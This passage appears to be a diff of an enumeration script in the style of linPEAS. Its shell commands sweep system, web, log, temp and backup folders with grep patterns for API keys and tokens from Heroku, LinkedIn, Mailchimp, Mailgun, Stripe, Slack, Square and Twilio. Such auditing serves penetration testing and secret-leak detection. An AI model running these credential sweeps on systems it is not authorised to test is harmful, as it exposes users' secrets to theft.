"ya29\.[0-9A-Za-z_\-]+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -fi -wait -print_3title_no_nl "Searching Heroku API Key (limited to 50)..." -if [ "$SEARCH_IN_FOLDER" ]; then - timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -else - timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -fi -wait -print_3title_no_nl "Searching LinkedIn Client ID (limited to 50)..." -if [ "$SEARCH_IN_FOLDER" ]; then - timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -else - timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{12}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -fi -wait -print_3title_no_nl "Searching LinkedIn Secret Key (limited to 50)..." -if [ "$SEARCH_IN_FOLDER" ]; then - timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -else - timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "linkedin(.{0,20})?['\"][0-9a-z]{16}['\"]" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -fi -wait -print_3title_no_nl "Searching Mailchamp API Key (limited to 50)..." -if [ "$SEARCH_IN_FOLDER" ]; then - timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -else - timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[0-9a-f]{32}-us[0-9]{1,2}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -fi -wait -print_3title_no_nl "Searching Mailgun API Key (limited to 50)..." -if [ "$SEARCH_IN_FOLDER" ]; then - timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -else - timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "key-[0-9a-zA-Z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -fi -wait -print_3title_no_nl "Searching Picatic API Key (limited to 50)..." -if [ "$SEARCH_IN_FOLDER" ]; then - timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -else - timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sk_live_[0-9a-z]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -fi -wait -print_3title_no_nl "Searching Slack Token (limited to 50)..." -if [ "$SEARCH_IN_FOLDER" ]; then - timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -else - timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "xox[baprs]-([0-9a-zA-Z]{10,48})?" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -fi -wait -print_3title_no_nl "Searching Stripe API Key (limited to 50)..." -if [ "$SEARCH_IN_FOLDER" ]; then - timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -else - timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "k_live_[0-9a-zA-Z]{24}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -fi -wait -print_3title_no_nl "Searching Square Access Token (limited to 50)..." -if [ "$SEARCH_IN_FOLDER" ]; then - timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -else - timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sqOatp-[0-9A-Za-z_\-]{22}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -fi -wait -print_3title_no_nl "Searching Square Oauth Secret (limited to 50)..." -if [ "$SEARCH_IN_FOLDER" ]; then - timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -else - timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & - timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "sq0csp-[ 0-9A-Za-z_\-]{43}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -fi -wait -print_3title_no_nl "Searching Twilio API Key (limited to 50)..." -if [ "$SEARCH_IN_FOLDER" ]; then - timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "SK[0-9a-fA-F]{32}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & -else - timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "SK[0-9a-fA-F]{32}" '{}' \; 